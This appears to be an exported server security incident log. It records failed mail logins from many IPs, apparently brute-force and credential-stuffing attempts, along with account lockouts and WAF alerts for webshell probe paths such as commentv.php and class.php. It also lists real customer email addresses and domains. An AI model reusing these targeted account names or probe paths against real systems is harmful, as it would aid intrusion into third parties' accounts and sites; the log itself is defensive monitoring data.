# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:43:04 dovecot_login authenticator failed for H=(5qbUu6) [178.16.54.138]:62468: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:43:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57014: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-01-31 22:43:39 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net [111.70.32.10]:52712: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-31 22:44:40 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:51698: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.223
country_id: 2186224
description:
2026-01-31 22:44:12 dovecot_login authenticator failed for H=([121.73.163.223]) [121.73.163.223]:54158: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-31 22:44:18 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:39322: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 22:44:54 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:59503: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:44:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57424: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:44:45 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49768: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.184.1.179
country_id: 2510769
description:
2026-01-31 22:44:26 dovecot_login authenticator failed for H=179.1.184.185.dynamic.electronicamartinez.es [185.184.1.179]:57214: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-01-31 22:44:35 dovecot_login authenticator failed for H=([128.185.208.42]) [128.185.208.42]:33592: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:44:47 dovecot_login authenticator failed for H=(uj1UN7o) [158.94.208.215]:56055: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:44:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:44:10 dovecot_login authenticator failed for H=(LxlOLQ03) [178.16.54.138]:56802: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 22:44:28 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:37431: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 22:45:32 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:56745: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.35.130
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product-detail.php?id=6672338432 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.169.120.37
country_id: 1668284
description:
2026-01-31 22:45:52 dovecot_login authenticator failed for H=([192.169.120.37]) [192.169.120.37]:45977: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:45:02 dovecot_login authenticator failed for H=(rejVCmlE9) [178.16.54.138]:55834: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 22:45:07 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:50030: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 22:45:23 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:44022: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.102
country_id: 1269750
description:
2026-01-31 22:45:16 dovecot_login authenticator failed for H=([27.123.104.102]) [27.123.104.102]:33348: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 22:45:56 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:48963: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.255.195
country_id: 1269750
description:
2026-01-31 22:45:02 dovecot_login authenticator failed for H=([103.176.255.195]) [103.176.255.195]:60818: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:45:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:45:11 dovecot_login authenticator failed for H=(t6Kcm8R) [158.94.208.215]:64144: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-31 22:46:42 dovecot_login authenticator failed for H=([154.146.240.123]) [154.146.240.123]:35122: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-01-31 22:46:54 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:46686: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.88.85.202
country_id: 1168579
description:
2026-01-31 22:46:29 dovecot_plain authenticator failed for H=(8HRKD1AKEBBNP) [111.88.85.202]:60075: 535 Incorrect authentication data (set_id=kelveen@tst-ma.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:46:23 dovecot_login authenticator failed for H=(a3m8U7Nwo) [158.94.208.215]:55931: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.171.135.254
country_id: 1814991
description:
2026-01-31 22:46:33 dovecot_login authenticator failed for H=([60.171.135.254]) [60.171.135.254]:39696: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.129.15.16
country_id: 1210997
description:
2026-01-31 22:46:53 dovecot_plain authenticator failed for H=(8N8LN255TCKTWN) [114.129.15.16]:57640: 535 Incorrect authentication data (set_id=kw.chee@nmahir.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.132
country_id: 1814991
description:
2026-01-31 22:46:54 dovecot_login authenticator failed for H=([222.128.15.132]) [222.128.15.132]:36084: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:46:02 dovecot_login authenticator failed for H=(L3IXT3xBhO) [178.16.54.138]:57967: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-01-31 22:47:25 dovecot_login authenticator failed for H=([167.250.118.3]) [167.250.118.3]:34478: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:47:36 dovecot_login authenticator failed for H=(Xy2b44) [178.16.54.138]:50619: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.164.76
country_id: 2661886
description:
2026-01-31 22:47:32 dovecot_login authenticator failed for H=ip076.net-81-16-164.koping.net [81.16.164.76]:38670: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:47:11 dovecot_login authenticator failed for H=(q7tr4Ex) [158.94.208.215]:65473: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:48:14 dovecot_login authenticator failed for H=(iLbnRAT) [178.16.54.138]:57013: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:48:23 dovecot_login authenticator failed for H=(Gbz60mYQ) [158.94.208.215]:63073: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 22:48:24 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:47588: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:48:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 22:48:53 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:33893: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:48:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49650: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-31 22:49:00 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:42634: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 22:49:25 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:40431: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.78.227.1
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/Thumbs.db||User:cofrethcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:49:30 dovecot_login authenticator failed for H=(KUEjAXObfi) [178.16.54.138]:63192: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-31 22:49:42 dovecot_login authenticator failed for H=([84.238.92.245]) [84.238.92.245]:57616: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:49:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:49:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54132: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:49:11 dovecot_login authenticator failed for H=(I89HVCbRX5) [158.94.208.215]:58549: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-31 22:49:57 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:55227: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.175
country_id: 3865483
description:
2026-01-31 22:49:39 dovecot_login authenticator failed for H=(red.170.233.29.175.ssservicios.com.ar) [170.233.29.175]:37015: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-01-31 22:49:49 dovecot_login authenticator failed for H=42-200-73-3.static.imsbiz.com [42.200.73.3]:43988: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-31 22:50:56 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:36854: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-31 22:50:33 dovecot_login authenticator failed for H=(axcpken) [107.173.177.133]:60522: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:50:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56316: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:50:23 dovecot_login authenticator failed for H=(2pU9fpXpc) [158.94.208.215]:58578: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:50:08 dovecot_login authenticator failed for H=(0nO9PM) [178.16.54.138]:58441: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.164.93.136
country_id: 6252001
description:
2026-01-31 22:50:34 dovecot_login authenticator failed for H=(syn-024-164-093-136.res.spectrum.com) [24.164.93.136]:33047: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:50:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64878: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-31 22:50:10 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:38592: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:50:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:51:23 dovecot_login authenticator failed for H=(SZ9z3SE) [178.16.54.138]:56582: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.249
country_id: 1168579
description:
2026-01-31 22:51:27 dovecot_login authenticator failed for H=(249.92.zcomnetworks.com.pk) [103.148.92.249]:38146: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:51:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 22:51:34 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:36036: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.214.247
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13531518079314 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:51:11 dovecot_login authenticator failed for H=(YRSPG1) [158.94.208.215]:58015: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 22:51:31 H=([64.89.160.15]) [64.89.160.15]:64241 F=<essenas@outlook.com> rejected RCPT <tst@tst-ma.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:52:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:52:39 dovecot_login authenticator failed for H=(vOJMVS) [178.16.54.138]:52206: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:52:23 dovecot_login authenticator failed for H=(N3hYRBqI) [158.94.208.215]:53174: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:53:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:53:11 dovecot_login authenticator failed for H=(bHgyYFv1) [158.94.208.215]:60232: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:53:17 dovecot_login authenticator failed for H=(1ACA2oK) [178.16.54.138]:60791: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:53:44 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62926: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:54:09 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57937: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:54:50 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63942: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:54:34 dovecot_login authenticator failed for H=(EaYCDfrNz8) [178.16.54.138]:59163: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/afsb/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 22:54:07 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35528: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 22:54:32 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:62972: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 22:54:44 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:57870: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-31 22:54:49 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:36651: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:54:23 dovecot_login authenticator failed for H=(AERvTpb8HC) [158.94.208.215]:60242: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-01-31 22:55:49 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:43878: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:55:12 dovecot_login authenticator failed for H=(51Cob1OrLe) [178.16.54.138]:52098: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:55:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61107: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:55:11 dovecot_login authenticator failed for H=(0goh4qnphR) [158.94.208.215]:58297: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-31 22:56:22 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:59508: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: printspecsolution.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/printspecsolutio/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:56:27 dovecot_login authenticator failed for H=(o0yCKs3xko) [178.16.54.138]:57091: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.46.144
country_id: 1819730
description:
2026-01-31 22:56:21 dovecot_login authenticator failed for H=144.46.246.220.static.netvigator.com [220.246.46.144]:56606: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-31 22:56:29 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:55897: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.244.46
country_id: 1269750
description:
2026-01-31 22:56:35 dovecot_login authenticator failed for H=([182.79.95.231]) [152.52.244.46]:33192: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/afsb/public_html/wp-admin/images/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.193.194.148
country_id: 1880251
domain: printspecsolution.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/printspecsolutio/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:56:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63998: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 22:56:13 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:49394: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:56:23 dovecot_login authenticator failed for H=(d2k2guuNo) [158.94.208.215]:53182: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.146.91.181
country_id: 1814991
description:
2026-01-31 22:56:16 dovecot_login authenticator failed for H=([119.146.91.181]) [119.146.91.181]:62628: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-31 22:57:08 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:43452: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:57:11 dovecot_login authenticator failed for H=(lZEVpiD) [158.94.208.215]:53156: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:57:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 22:57:43 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:39852: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:57:06 dovecot_login authenticator failed for H=(xPrbF6q) [178.16.54.138]:60075: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-01-31 22:58:21 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:23987: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-01-31 22:58:29 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:55336: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:58:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
